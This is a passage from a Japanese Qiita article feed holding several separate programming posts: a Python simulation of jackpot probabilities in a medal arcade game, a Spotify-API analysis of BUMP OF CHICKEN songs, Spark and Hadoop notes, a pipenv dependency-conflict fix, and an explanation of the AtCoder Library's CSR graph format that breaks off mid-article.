注意 この記事は半分メダルゲーマー向けに作成しているため,雷電JPCのルール説明などは省略しています. 背景 よく友達とFT4をやっていて雷電JPCを行うとき,JP抽選に失敗することはよくあるが100win以外を獲得することがある(150winだったりダブルオーブくんボーナスだったり) その時に出る言葉「ま,プロは100winで終わったりしないのでね!」 で,気になったのがいくつかあったので調べてみる. ・本抽選に移行する確率 ・高配当本抽選に移行する確率 ・本抽選移行失敗時,100win以外を獲得する確率 設計(プログラム省略) まず100win以外を獲得する方法を求める.本抽選に移行しない場合で獲得する方法は: ・本抽選に移行せずにすごろく移動する(黄色のダイレクト抽選をかわす) ・150win,200winのマスに止まる.それぞれ1マスずつ ・100winに止まるとき,すでに他のオーブくんが先に止まっている 上記3方法であれば100win以外を獲得でき,JPC終了となる. これを作っていきます。 結果 それぞれの結果を記載。100万回のうちそれぞれ成功した回数分を確立として記載する。 確率 n回に1回 JP抽選移行確率 29.61% 3.4回 100win終了確率 53.13% 1.9回 150win以上での終了確率 17.26% 5.8回 ダブルオーブくん確率 10.47% 9.6回 ダブルオーブくん+JP抽選確率 03.10% 32.3回 トリプルオーブくん確率 00.32% 312.5回 トリプルオーブくん+JP抽選確率 00.09% 1111.1回 JP抽選に移行する確率は約3割あってダブルオーブくんボーナスを獲得する確率は1割、トリプルオーブくんに関してはもう1%を切っている確率となった。 考察 JP抽選のマス数は5/18であって確率は27%と、黄色のダイレクトJP抽選を含めればそれに近く妥当な確率であると考えられる。またJP抽選時、印象に残る抽選となるのは基本的には100win以外の終了であると考えられるため、150win以上かつJP抽選に移行しないのは思ったより印象深く、想定以下の確率であったとしても思った印象からは妥当なのではと考えられる。 終わりに まとめると: ・JP抽選に移行する確率は約30% ・ダブルオーブくん発生率は約10%と低い ・150win以上で終了する確率も約17%とあまり高くない ・トリプルオーブくんに関しては極稀 ただし覚えてほしいのは ・1回の確率は結局その時の状況次第 設計(プログラム記載) ここ以降はプログラム作成のために行った設計を順番に記載していく。 下準備 今回の盤面を用意する。左上を位置0としてそこから時計回りに1,2,3,と番号つけていく。このとき、JP抽選のマスは0枚として扱う。 また、抽選するルーレットを用意。赤青の2つはそれぞれ6分の1で各数字に当選するが黄色のみ13分の2で各数字が当選するため、別の配列を用意。 prepare.py jp = 0 board = [0,100,200,0,100,100,100, 150,100,0, 100,100,100,0,100,0, 100,100,150] place = [11,5,17] rb= [1,2,3,4,5,6] y = [1,2,3,4,5,6,1,2,3,4,5,6,0] 計測用の準備 各条件を満たしたときに加算する変数を用意。 変数名 条件 pro 150win以上でJP抽選移行せず double ダブルオーブくん獲得 triple トリプルオーブくん獲得 jpc JP抽選獲得 jpcdb ダブルオーブくん+JP抽選獲得 jpctp トリプルオーブくん+JP抽選獲得 色抽選、進むマス数抽選 選択する色、進むマス数を乱数で決める。乱数決定方法は予め 関数として用意。 move_selection.py import random as r def rand(a): return r.randrange(a) choose = rand(3) if choose < 2: move = rb[rand(6)] else: move = y[rand(13)] place[choose] += move place[choose] %= 18 移動するマス数は最後に18で割る。 win枚数の判定 ・オーブくんの重なりがあるか ・win枚数は0枚か ・上記条件が重複するか 以上の3条件を判定する。 judgement.py if move: win = board[place[choose]] #win枚数を取得(移動があった場合のみ) if place[choose] == place[(choose+1)%3] or place[choose] == place[(choose+2)%3]: #オーブくんが重なっているか win*=2 double+=1 db = 1 if place[choose] == place[(choose + 1) % 3] and place[choose] == place[(choose + 2) % 3]: #全てのオーブくんが重なっているか win*= 1.5 double -=1 triple +=1 db = 0 tp = 1 if win>100 and move: #150win以上かつJP抽選に移行していないか pro+=1 if win == 0 or move==0: #JP抽選に移行したか if db: jpcdb+=1 if tp: jpctp+=1 jpc+=1 最後に結果をまとめて出力 最初の部分から全てまとめて出力すると次のようなソースコードになる。 judgement.py import random as r def rand(a): return r.randrange(a) jp = 0 board = [0,100,200,0,100,100,100, 150,100,0, 100,100,100,0,100,0, 100,100,150] place = [11,5,17] rb= [1,2,3,4,5,6] y = [1,2,3,4,5,6,1,2,3,4,5,6,0] pro = 0 double = 0 triple = 0 jpc = 0 jpcdb=0 jpctp=0 for loop in range(1000000): db = tp = 0 win = 0 choose = rand(3) if choose < 2: move = rb[rand(6)] else: move = y[rand(13)] place[choose] += move place[choose] %= 18 if move: win = board[place[choose]] if place[choose] == place[(choose+1)%3] or place[choose] == place[(choose+2)%3]: win*=2 double+=1 db = 1 if place[choose] == place[(choose + 1) % 3] and place[choose] == place[(choose + 2) % 3]: win*= 1.5 double -=1 triple +=1 db = 0 tp = 1 if win>100 and move: pro+=1 if win == 0 or move==0: if db: jpcdb+=1 if tp: jpctp+=1 jpc+=1 print("\n") print("jpc",jpc) print("pro",pro) print("double",double) print("triple",triple) print("jpcdb,jpctp",jpcdb,jpctp)
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

BUMP OF CHICKEN全曲のデータ分析【PythonとSpotifyのAPIで】

先日、BUMP OF CHICKENの『Flare』までの全曲データを、SpotifyのAPI経由で取得して分析しました。 SpotifyのAPIについては↓ 分析結果 分析結果は、分かりやすいように動画にしてみました。 以下は、動画の要約とデータです。 驚きのキー分布 ①ロックバンドにしては珍しいキーの分布。 (#系の調が少ない and #/♭×6のキーが一番多い) ②調号が付かないキー(ハ長調orイ短調)を使った曲が無い。 (動画内で言ってるように『月虹』みたいに解釈によって、あるとも言えるかもしれません。 でも、それにしても珍しいと思います。) BPM ※BPMを100~200の間に収めるため、100以下の値を2倍、200より大きい値を1/2倍しています。(分かりやすくするため) 最頻値:BPM=120 平均値:BPM=148 中央値:BPM=145 曲の長さ 長い曲トップ10 曲名 長さ アルバム名 1 Ever lasting lie (Acoustic Version) 8分39秒 present from you 2 Ever lasting lie 8分36秒 THE LIVING DEAD 3 Smile 8分17秒 RAY 4 ガラスのブルース (28 years round) 8分13秒 present from you 5 グッドラック 7分4秒 RAY 6 友達の唄 6分9秒 RAY 7 supernova 6分9秒 orbital period 8 Merry Christmas 6分55秒 BUMP OF CHICKEN II [2005-2010] 9 ゼロ 6分50秒 RAY 10 流星群 6分47秒 Butterflies 短い曲トップ10 曲名 長さ アルバム名 1 asgard 0分39秒 ユグドラシル 2 星の鳥 reprise 0分39秒 orbital period 3 midgard 0分41秒 ユグドラシル 4 星の鳥 0分55秒 orbital period 5 Ending 1分14秒 THE LIVING DEAD 6 voyager 1分18秒 orbital period 7 Opening 1分2秒 THE LIVING DEAD 8 flyby 1分55秒 orbital period 9 三ツ星カルテット 2分27秒 COSMONAUT 10 ダンデライオン 2分58秒 jupiter 踊りやすさ 踊りやすさトップ10 曲名 danceability アルバム名 1 voyager 74.5 orbital period 2 ほんとのほんと 73.4 firefly 3 睡眠時間 73 present from you 4 ディアマン 72 グッドラック 5 Spica 70.6 aurora arc 6 ハンマーソングと痛みの塔 70.2 orbital period 7 東京賛歌 69.3 present from you 8 beautiful glider 69.2 COSMONAUT 9 white note 68.5 RAY 10 流れ星の正体 68 aurora arc 踊りやすさワースト10 曲名 danceability アルバム名 1 ナイフ 13 FLAME VEIN +1 2 アルエ 18.2 FLAME VEIN +1 3 グングニル 18.5 THE LIVING DEAD 4 星の鳥 reprise 22.1 orbital period 5 グロリアスレボリューション 24.1 THE LIVING DEAD 6 スノースマイル ~ringing version~ 24.3 present from you 7 ハルジオン 27.1 jupiter 8 asgard 28.1 ユグドラシル 9 K 28.3 THE LIVING DEAD 10 aurora arc 31.3 aurora arc 人気曲 ※2021年4月24日のデータ 人気トップ10 曲名 popularity アルバム名 1 Flare 59 Flare 2 天体観測 59 jupiter 3 アカシア 59 アカシア 4 Hello,world! 58 Butterflies 5 Gravity 55 Gravity 6 新世界 53 aurora arc 7 ray 53 RAY 8 記念撮影 51 aurora arc 9 Aurora 51 aurora arc 10 アンサー 48 aurora arc 人気ワースト10 曲名 popularity アルバム名 1 スノースマイル ~ringing version~ 20 present from you 2 星の鳥 reprise 20 orbital period 3 Ending 21 THE LIVING DEAD 4 ガラスのブルース (28 years round) 21 present from you 5 彼女と星の椅子 21 present from you 6 Opening 21 THE LIVING DEAD 7 ほんとのほんと 21 firefly 8 Merry Christmas 22 BUMP OF CHICKEN II [2005-2010] 9 夢の飼い主 22 present from you 10 Ever lasting lie (Acoustic Version) 22 present from you 取得した曲名とテンポや調号のデータ ※以下には、Spotify側の判定値をそのまま掲載しています。判定値は必ずしも正しくはありません。 たとえば、『アルエ』は♭×4と判定されています。 しかし、おそらく♭×3で解釈した方がよいと思います。 他にも、『アカシア』などの転調している曲もこのデータだけからは読み取れません。 曲名 アルバム名 BPM 調号 長さ danceability 1 Stage of the ground jupiter 135 ♭×3 5分33秒 42.5 2 天体観測 jupiter 165 ♭×5 4分23秒 36.6 3 Title of mine jupiter 122 #×5 5分1秒 49.9 4 キャッチボール jupiter 120 #/♭×6 3分41秒 52.8 5 ハルジオン jupiter 180 ♭×5 4分35秒 27.1 6 ベンチとコーヒー jupiter 123 ♭×4 6分12秒 55.9 7 メロディーフラッグ jupiter 128 ♭×5 5分48秒 48.2 8 ベル jupiter 150 #/♭×6 4分33秒 61.9 9 ダイヤモンド jupiter 130 #/♭×6 4分33秒 52.8 10 ダンデライオン jupiter 153 #/♭×6 2分58秒 33.3 11 ガラスのブルース FLAME VEIN +1 180 ♭×5 6分18秒 47.9 12 くだらない唄 FLAME VEIN +1 125 #/♭×6 4分3秒 50.3 13 アルエ FLAME VEIN +1 187 ♭×4 4分17秒 18.2 14 リトルブレイバー FLAME VEIN +1 128 #/♭×6 5分13秒 41.6 15 ノーヒットノーラン FLAME VEIN +1 136 #×5 4分25秒 47.7 16 とっておきの唄 FLAME VEIN +1 180 ♭×5 5分35秒 48.3 17 ナイフ FLAME VEIN +1 102 ♭×3 6分31秒 13 18 バトルクライ FLAME VEIN +1 139 #/♭×6 4分37秒 42.8 19 Opening THE LIVING DEAD 146 ♭×1 1分2秒 66 20 グングニル THE LIVING DEAD 191 ♭×5 3分55秒 18.5 21 ベストピクチャー THE LIVING DEAD 131 #/♭×6 4分40秒 46.2 22 続・くだらない唄 THE LIVING DEAD 190 #×5 5分12秒 44 23 ランプ THE LIVING DEAD 131 ♭×5 4分35秒 45.7 24 K THE LIVING DEAD 186 ♭×5 3分53秒 28.3 25 リリィ THE LIVING DEAD 136 #×4 5分34秒 33.8 26 Ever lasting lie THE LIVING DEAD 160 #×4 8分36秒 39.1 27 グロリアスレボリューション THE LIVING DEAD 186 ♭×4 3分12秒 24.1 28 Ending THE LIVING DEAD 146 ♭×1 1分14秒 66.1 29 voyager orbital period 120 #×5 1分18秒 74.5 30 星の鳥 orbital period 140 ♭×3 0分55秒 37.1 31 メーデー orbital period 140 ♭×4 5分34秒 47.3 32 才悩人応援歌 orbital period 192 ♭×5 4分18秒 53.6 33 プラネタリウム orbital period 116 #/♭×6 5分32秒 58.8 34 supernova orbital period 158 ♭×4 6分9秒 57.4 35 ハンマーソングと痛みの塔 orbital period 125 #×3 4分20秒 70.2 36 時空かくれんぼ orbital period 120 #×5 5分11秒 57.8 37 かさぶたぶたぶ orbital period 125 ♭×3 3分58秒 67.4 38 花の名 orbital period 138 #/♭×6 6分2秒 55.5 39 ひとりごと orbital period 121 ♭×3 4分16秒 59.2 40 飴玉の唄 orbital period 170 #×4 5分57秒 53 41 星の鳥 reprise orbital period 144 ♭×3 0分39秒 22.1 42 カルマ orbital period 194 #/♭×6 3分29秒 42.2 43 arrows orbital period 125 #×5 6分21秒 63.9 44 涙のふるさと orbital period 120 #/♭×6 4分58秒 49.6 45 flyby orbital period 120 #×5 1分55秒 66.7 46 三ツ星カルテット COSMONAUT 111 #×2 2分27秒 65.7 47 R.I.P. COSMONAUT 194 ♭×5 5分32秒 47.6 48 ウェザーリポート COSMONAUT 120 #×5 4分3秒 52.4 49 分別奮闘記 COSMONAUT 128 ♭×4 3分44秒 57.5 50 モーターサイクル COSMONAUT 182 #×4 4分1秒 58.7 51 透明飛行船 COSMONAUT 200 #×5 4分8秒 52.1 52 魔法の料理 ~君から君へ~ COSMONAUT 158 #×5 6分45秒 53.6 53 HAPPY COSMONAUT 120 #/♭×6 5分56秒 62.4 54 66号線 COSMONAUT 172 #×3 4分29秒 49.8 55 セントエルモの火 COSMONAUT 113 #×4 4分35秒 61.2 56 angel fall COSMONAUT 166 ♭×4 5分33秒 61 57 宇宙飛行士への手紙 COSMONAUT 125 #/♭×6 5分52秒 55.6 58 イノセント COSMONAUT 122 #×5 3分40秒 55.4 59 beautiful glider COSMONAUT 105 #×5 4分1秒 69.2 60 asgard ユグドラシル 171 #×3 0分39秒 28.1 61 オンリー ロンリー グローリー ユグドラシル 148 #×5 4分51秒 39.4 62 乗車権 ユグドラシル 198 ♭×5 3分6秒 43.3 63 ギルド ユグドラシル 125 #/♭×6 5分49秒 55.9 64 embrace ユグドラシル 128 #×3 5分31秒 48.6 65 sailing day ユグドラシル 190 ♭×3 4分4秒 42.2 66 同じドアをくぐれたら ユグドラシル 155 ♭×5 5分18秒 45.7 67 車輪の唄 ユグドラシル 110 #/♭×6 4分25秒 58.3 68 スノースマイル ユグドラシル 152 #/♭×6 5分7秒 31.7 69 レム ユグドラシル 117 #/♭×6 4分21秒 60.7 70 fire sign ユグドラシル 104 ♭×3 5分13秒 55 71 太陽 ユグドラシル 156 #/♭×6 5分48秒 52 72 ロストマン ユグドラシル 120 ♭×5 5分4秒 51.4 73 midgard ユグドラシル 188 #×3 0分41秒 45.4 74 ラフ・メイカー present from you 170 #/♭×6 3分48秒 41.2 75 バイバイサンキュー present from you 166 #/♭×6 5分3秒 57.3 76 彼女と星の椅子 present from you 130 #×4 3分40秒 50.7 77 ホリデイ present from you 123 ♭×3 3分27秒 62.7 78 Ever lasting lie (Acoustic Version) present from you 152 #×4 8分39秒 50.3 79 睡眠時間 present from you 110 ♭×5 4分39秒 73 80 夢の飼い主 present from you 128 #/♭×6 4分48秒 50.8 81 スノースマイル ~ringing version~ present from you 147 #/♭×6 5分49秒 24.3 82 銀河鉄道 present from you 173 ♭×5 6分36秒 49.1 83 真っ赤な空を見ただろうか present from you 110 ♭×4 4分0秒 54.9 84 東京賛歌 present from you 107 #/♭×6 3分53秒 69.3 85 ガラスのブルース (28 years round) present from you 170 ♭×5 8分13秒 43.3 86 プレゼント present from you 148 #/♭×6 4分52秒 54.6 87 WILL RAY 101 ♭×5 3分48秒 46 88 虹を待つ人 RAY 180 ♭×4 3分56秒 45.4 89 ray RAY 132 ♭×3 5分0秒 61 90 サザンクロス RAY 108 #×4 4分9秒 62.4 91 ラストワン RAY 135 #/♭×6 4分38秒 67.3 92 morning glow RAY 122 #/♭×6 4分44秒 36.4 93 ゼロ RAY 184 #×5 6分50秒 57.9 94 トーチ RAY 152 ♭×5 4分14秒 39.4 95 Smile RAY 136 ♭×3 8分17秒 51.1 96 firefly RAY 184 ♭×5 5分25秒 48.9 97 white note RAY 192 #/♭×6 3分16秒 68.5 98 友達の唄 RAY 176 #/♭×6 6分9秒 55.4 99 (please)forgive RAY 130 ♭×5 4分54秒 55 100 グッドラック RAY 182 #×5 7分4秒 50.8 101 GO Butterflies 130 #×5 6分1秒 60.9 102 Hello,world! Butterflies 106 ♭×4 4分8秒 59.7 103 Butterfly Butterflies 132 ♭×5 5分57秒 53.9 104 流星群 Butterflies 144 #×5 6分47秒 52.9 105 宝石になった日 Butterflies 190 #/♭×6 4分57秒 52.8 106 コロニー Butterflies 156 #×5 5分16秒 63.6 107 パレード Butterflies 186 ♭×4 3分54秒 53.7 108 大我慢大会 Butterflies 200 ♭×5 4分6秒 64 109 孤独の合唱 Butterflies 132 #×5 4分54秒 67.9 110 You were here Butterflies 198 #×5 5分24秒 66.6 111 ファイター Butterflies 200 ♭×5 5分37秒 37.5 112 aurora arc aurora arc 150 #×1 2分5秒 31.3 113 月虹 aurora arc 200 ♭×1 4分47秒 55.4 114 Aurora aurora arc 130 ♭×2 4分39秒 54.1 115 記念撮影 aurora arc 120 #×3 4分42秒 61.5 116 ジャングルジム aurora arc 178 #/♭×6 6分28秒 54.1 117 リボン aurora arc 180 #/♭×6 4分31秒 40.4 118 シリウス aurora arc 190 ♭×5 4分22秒 57.9 119 アリア aurora arc 110 ♭×3 6分16秒 48.3 120 話がしたいよ aurora arc 160 ♭×2 4分19秒 50.2 121 アンサー aurora arc 133 #×5 5分20秒 58.4 122 望遠のマーチ aurora arc 102 #×5 4分18秒 56.6 123 Spica aurora arc 176 #/♭×6 4分15秒 70.6 124 新世界 aurora arc 163 ♭×1 3分45秒 56 125 流れ星の正体 aurora arc 130 #×3 5分11秒 68 126 pinkie HAPPY 188 #×5 5分4秒 53.5 127 歩く幽霊 友達の唄 157 ♭×4 3分28秒 48.3 128 ほんとのほんと firefly 134 #×5 4分38秒 73.4 129 ディアマン グッドラック 152 #×5 6分31秒 72 130 Merry Christmas BUMP OF CHICKEN II [2005-2010] 114 ♭×5 6分55秒 57.8 131 Gravity Gravity 160 ♭×5 5分8秒 57.7 132 アカシア アカシア 140 #×1 4分22秒 46.9 133 Flare Flare 180 ♭×3 4分49秒 55.6 使わせていただいたプレイリスト よければ他の分析もどうぞ。
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

Sparkについて(Python,Java,JVM,RDD)

Hadoop,Sparkの分散処理について 巨大データの取り扱いを目的とした分散処理のフレームワーク 分散処理によってビッグデータを高速に処理することが可能 Hadoopの利用者は自作したデータ処理のプログラムや他者が開発したツールプログラムをHadoop内に組み込んでビッグデータ処理が可能 Hadoop上で稼動するデータベースマネージメントシステム(DBMS) Hive Impala Hadoop上で稼動するスクリプト環境 Pig Hadoop連携ソフトウェアの存在がビックデータ処理環境をより便利にしている。 SparkもHadoopと同じく分散処理のフレームワーク adoopがJava言語で作られているのに対してSparkはJavaの派生言語であるScalaで作られています。 Sparkの内部処理方式 データをメモリに保存することで入出力の高速化を図り処理全体の実行速度を向上させようとする取り組みがある。 利用可能メモリが枯渇した場合にはデータをストレージに保存するケースも勘案 機械学習の計算処理に効果を発揮する 実際特定のアプリケーションに関する実行性能は、HadoopのMapReduce処理と比べた場合の100倍 「データの格納場所」に関する選択肢の広さ Sparkで処理を行うデータは「いろいろな種類のデータ置き場」に格納可能 Sparkは様々なデータ格納場所からのデータ入出力に対応している Hadoopがデータの格納場所として基本的には「Hadoop Distributed File System (HDFS)」という独自のファイル格納場所を必要 Hadoop Distributed File System (HDFS) Cassandra OpenStack Swift Amazon S3 上記などが対応可能なストレージ プログラム手法に関する選択肢の広さ Java(直接Hadoopを制御する事からこの方法を生Hadoopと呼んだりします) HiveQL(Hadoop+Hive) Pig(Hadoop+Pig) Hadoop Streamingを使用することで標準入出力を介してPythonなどから制御 「Hadoopとは別のソフトウェア」を介してプログラミングを行う事が一般的 SparkはSpark自身はScalaでプログラムされているものの、他のプログラム言語に対してより緊密なアプローチが採用されています。すなわち、Sparkを制御するための機能が、Scalaだけでない。 Java Python R言語 Spark SQL 各プログラム言語用のAPIとして提供されている。 SparkとHadoopの関係は競合というよりは共存。ユーザには広い選択肢が与えられている *「Hadoop+Spark」の構成も現実的である(Hadoop内のYarn制御下でSparkを利用する) * Sparkはデータの入出力場所としてHDFSにも対応している * 現段階ではSparkとHadoopは共存関係 SparkがHDFS上のデータをその制御の対象としていることは、既存データの再利用性も含めて二者の親和性の高さをより緊密なものにしています。競合関係という意味では「Spark式処理方法とMapReduce式処理方法の競合」という表現が適切 Apache Sparkについて 半構造化データ(https://jp.drinet.co.jp/blog/datamanagement/semi-structured-data) 構造化データ ストリーミングデータ 機械学習 データサイエンス マスターノード上の1つのドライバプロセス(複数のジョブを持てる)から立ち上げられる。 数多くのワーカーノードに分散配置されたエグゼキュータプロセス(複数タスク)に指示を送る。 ・有行非循環グラフ Sparkはそれらのタスクスケジューリングや実行を最適化する。 RDD(耐障害性分散データセット) イミュータブルなJava仮想マシン(JVM)のオブジェクトの分散コレクションを中心として構成されている。 pythonのデータがJVMオブジェクトの中に保存される。 これらのオブジェクトを使うことでいかなるジョブにおいても高速に演算処理可能 RDDはメモリを有効に利用し計算、キャッシュ、保存される。 このおかげで、Apache Hadoopのような他の旧来フレームワークに比べて何桁も演算処理が高速になっている。 RDDの機能 map() reduce() filter() ...etc RDDはデータへの変換の適用と記録を並列に行う。そのため、速度も耐障害性も向上している。 変換を登録しておくことでRDDはデータリネージを提供可能。 何か問題が生じて、一部のデータが失われて場合にフォールバックを行います。失われた場合は再計算が可能。 RDDの操作 変換(新しいRDDポインターを返す。) → 遅延処理 アクション(演算処理を行い、値をドライバーに返す。)矢印戻り値のこと? Sparkの最大の利点は並列に処理が実行されること データセットの様子を掴むために分析の際によく使われる手順。 * ある列中に現れるそれぞれの値の登場回数をカウントする。 * Aで始まる値だけを選択する * その結果を画面に表示させる データのフォーマットもテキスト、parquet、JSON、Hiveのテーブルといった複数のフォーマットがサポートされている。 リレーショナルデータベースからJDBCドライバを使用してデータを読み取ることが可能。 Sparkは圧縮されたデータセットを自動的に扱える。などほとんどあらゆるものを混在させることが可能。 * スキーマレスなデータ構造(tuple、dict、list) メタデータ [https://jp.drinet.co.jp/blog/datamanagement/metadata_management_3minutes] * メタデータとは一言でいうと「データに関するデータ」 * データ:「構造化データ」と「非構造化データ」に分類される。 * 構造化データ:構造化データはデータの内容や形式が定められており、RDBMSで実装 * 非構造化データ:非構造化データは内容や形式に決まりが無く、あらゆるデータが当てはまる。 (映像、音声、テキストデータなども非構造化データ) Pysparkでのpythonの使い方 クラスたモードとローカルモードが存在する。 ローカルモードでの実行 通常のpythonの実行と同じコードでも問題ない。 構造上の変化が生じやすいのは、データとコードが独立したワーカープロセス間でコピーされるようなひねりが加わる場合。 クラスタモードでの実行 ジョブが投入されて実行される時、そのジョブはドライバノードに送られる。 ドライバノードはそのジョブにあるDAGを生成しそれぞれのエグゼキュータノードを決定する。 そして、ドライバはワーカーに対してそれぞれのタスクを実行し、処理が終了すれば結果をドライバに返すよう指示をする。 RDMSについて データを管理・活用するためのシステムとして代表的なのがMySQL、OracleなどのRDBMS(リレーショナルデータベース管理システム)です。 RDBMSは複雑なデータをリアルタイムで取り扱える半面、大量のデータ処理に際して能力が低下してしまうという弱点があります。 DBでの処理では追いつかないデータ量を高速処理するために導入された概念が分散処理 複数のサーバーもしくはCPUでデータを分割し、大量のデータを高速で処理できるようにします。たくさんのパソコンが作業を分けあって処理している様子を思い浮かべるとわかりやすい それがマスターノードとコアノード 分散処理は気象・災害予測や遺伝子解析、SNSのリアルタイム解析、サイトのユーザー行動分析など大量のデータ処理を必要とする作業に用いられます。ビッグデータの取り扱いにおいて分散処理は欠かせない要素であり、昨今その需要は高まり続けています。 分散処理の機能を組み込む際に使えるフレームワークの代表格がHadoopとSpark Docker for Jupyternotebook pyspark
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

pkg_resources.VersionConflictエラー対処法

pipenvでパッケージをインストールしたときにResolving dependencies...が終わらず、✘ Locking Failed!とでて、最終的にpkg_resources.VersionConflictのエラーが出る場合の対処法 今回は、pipenv install pyyamlを実行しておこった。 エラー文では 以下のようになっていたのでパッケージ同士の依存関係でエラーが起こっているよう importlib-metadata<3,>=0.12; python_version < "3.8"') $ pipenv install hogehoge Locking [dev-packages] dependencies... Locking [packages] dependencies... Building requirements... Resolving dependencies... ✘ Locking Failed! ... (中略) ... pkg_resources.VersionConflict: (importlib-metadata 3.10.0 (..., Requirement.parse('importlib-metadata<3,>=0.12; python_version < "3.8"')) 解決法 Lockファイルを作成する時点でエラーが起きているので、--skip-lockオプションをつけて以下のようにする $ pipenv uninstall importlib-metadata --skip-lock $ pipenv install myyaml この解決方法でとりあえず大丈夫だったのですが、正解かどうかは不明
  • このエントリーをはてなブックマークに追加
  • Qiitaで続きを読む

【internal_csr編】AtCoder Library 解読 〜Pythonでの実装まで〜

0. はじめに 2020年9月7日にAtCoder公式のアルゴリズム集 AtCoder Library (ACL)が公開されました。 私はACLに収録されているアルゴリズムのほとんどが初見だったのでいい機会だと思い、アルゴリズムの勉強からPythonでの実装までを行いました。 この記事ではinternal_csrをみていきます。 internal_csr は、internal と付いていることからわかる通り、ACLの内部で使われているものなので、ACLを使う上で意識することは無いと思います。ACL v1.3 の段階では mincostflow や internal_scc で使われています。 対象としている読者 ACL内部で使われている CSR 形式について知りたい方。 ACLのコードを見てみたけど何をしているのかわからない方。 C++はわからないのでPythonで読み進めたい方。 参考にしたもの 疎行列に関する Wikipedia の記事です 日本語版Wikipedia-疎行列 1. CSRとは CSR とは、疎行列で有効なデータ格納形式の一つです。 1.1. 疎行列とは 疎行列(スパース行列、sparse matrix)とは成分の多くがゼロであるような行列のことです。具体的に非ゼロ成分が何%未満などと決まっているわけでは無いと思いますが、とにかくゼロが多い行列のことを疎行列と言います。例えば、単位行列などの $N$ 次対角行列は $N$ が大きい場合には疎行列といえます。 競技プログラミングでは主にグラフの問題で疎行列を目にすることになります。 典型的なものとしては「$N$ 個の街と $M$ 本の道があり $i$ 番目の道は街 $a_i$ と街 $b_i$ を〜」みたいな問題です。 具体例として下図のような、自己ループ、多重辺を含まない重みなし有向グラフを考えます。(本記事では頂点番号や辺番号、行列の添字を 0-indexed で統一します。) ここからはこのグラフが与えられた時にどのようにデータを保持するかをみていきます。 1.2. データを保持する方法1:そのままの行列 まずは最もシンプルな方法で、隣接行列と呼ばれる方法です。この方法では、頂点数 $V$ のグラフに対して、$V$ 次正方行列 $A$ を A_{ij} := \left\{ \begin{aligned} 1 \;\;& (頂点 \:i\: から頂点 \:j\: への辺が存在する)\\ 0 \;\;& (頂点 \:i\: から頂点 \:j\: への辺が存在しない) \end{aligned}\right. と定めます。今回の例では A = \left(\begin{array}{rrrrrrr} 0 & 1 & 0 & 0 & 1 & 0 & 0\\ 0 & 0 & 1 & 1 & 0 & 0 & 0\\ 0 & 0 & 0 & 0 & 0 & 1 & 0\\ 0 & 0 & 1 & 0 & 0 & 0 & 0\\ 0 & 0 & 0 & 0 & 0 & 1 & 1\\ 0 & 0 & 0 & 0 & 0 & 0 & 0\\ 0 & 0 & 0 & 0 & 0 & 1 & 0\\ \end{array}\right) となります。 この方法のメリットは頂点 $i$ から頂点 $j$ への辺が存在するかを瞬時に判定できるところです。 一方、デメリットとしてはデータを保持するために必要なメモリが大きくなることです。今回の例では頂点数が $V = 7$ だったので問題ありませんが、$V = 10^5$ のような場合には配列の確保すらできないというようなことになってしまいます。競技プログラミングではこのデメリットが問題になることが多いので、隣接行列を使う機会は少ないと思います。隣接行列が活きるのは完全グラフのような辺の数が十分多い場合になります。 1.3. データを保持する方法2:リストのリスト(LIL) 隣接行列の方法では辺が存在しない場合にもデータを保持していることが問題で、これは特に疎行列の場合に顕著になります。この問題を解決する方法の一つが隣接リストと呼ばれる方法です。この方法では長さ $V$ のリスト $A$ を A[i] := 頂点\:i\:から直接移動可能な頂点集合のリスト と定めます。今回の例では \begin{aligned} A = [\; &[1, 4],\\ &[2, 3],\\ &[5],\\ &[2],\\ &[5, 6],\\ &[],\\ &[5]\;] \end{aligned} となります。 この方法では辺が存在する部分のみを保持するので頂点数 $V = 10^5$、辺数 $E = 10^5$ といった問題も扱うことができます。また、DFS や BFS でグラフ上を traverse する際にも扱いやすい形式なので、競技プログラミングではこの形式で保持することが多いと思います。 しかし、言語によっては様々な長さの配列を要素とした配列を作成できないこともあるので、その場合には別の方法を考える必要があります。 1.4. データを保持する方法3:Compressed Sparse Row (CSR) 隣接リストで見えた問題を解決する方法の一つが CSR 形式です。CSR形式では $elist, start$ という2つの1次元配列を用意し、 \begin{aligned} elist\;\;\;\; &:= 辺を始点の昇順にソートした時の終点のリスト\\ start[i] &:= \left\{ \begin{aligned} &elistで頂点\:i\:が始点となる最初の\:index \;\; (i \ne V)\\ &E \;\;(i = V) \end{aligned}\right. \end{aligned} と定めます。$elist$ は先ほどの隣接リストを1次元に平坦化したものと等しいので \begin{aligned} elist = [1, 4, 2, 3, 5, 2, 5, 6, 5]&\\ (始点 = [0, 0, 1, 1, 2, 3, 4, 4, 6]&) \end{aligned} となります。頂点 $0$ を始点とする辺は $elist$ において $0$ から始まるので $start[0] = 0$ です。また、頂点 $1$ を始点とする辺は $elist$ において $2$ から始まるので $start[1] = 2$ です。このようにしていくと start = [0, 2, 4, 5, 6, 8, 8, 9] となります。 この形式では頂点 $i$ から直接移動可能な頂点の集合は $elist$ の $[start[i], start[i+1])$ の範囲の値に一致します。 したがって、例えば Python では # i: 現在いる頂点 # j: iから直接移動可能な頂点 for j in elist[start[i]:start[i+1]]: ... のように traverse することができます。 この方法であれば、長さ $(辺数 E)$ の1次元配列と長さ $(頂点数 V + 1)$ の1次元配列の2つを用意することでデータを保持できます。 2. CSR形式の実装方法 では、具体的に与えられた入力から $elist, start$ を作成する方法をみていきます。 $start$ は $elist$ における開始位置を表すものですが、これは start[i] = 始点の頂点番号が\:i\: 未満である辺の数 ということもできます。例えば、 $i = 0$ のとき、始点の頂点番号が $0$ 未満である辺の数は $0$ なので $start[0] = 0$ $i = 3$ のとき、始点の頂点番号が $3$ 未満($=0, 1, 2$)である辺の数は $5$ なので $start[3] = 5$ という具合です。 したがって、まず start[i+1] = 頂点 \:i\: を始点とする辺の数 とし、その後累積和を取ることで $start$ を作成できます。 次に $elist$ ですが、$start$ が $elist$ における開始位置を表すものであることを思い出すと、これをポインタとして使うことが考えられます。例えば 始点 $0$、終点 $1$ の辺は $start[0]=0$ なので $elist[0] = 1$ とすれば良い 始点 $2$、終点 $5$ の辺は $start[2] = 4$ なので $elist[4] = 5$ とすれば良い となります。上記操作の後、例えば始点 $0$、終点 $4$ の辺を格納する場合には $elist[1]$ に格納するので一般的に始点 $i$ の辺の終点を $elist$ に格納した後には $start[i]$ をインクリメントする(=ポインタを1つ進める)必要があります。ただし、$start$ 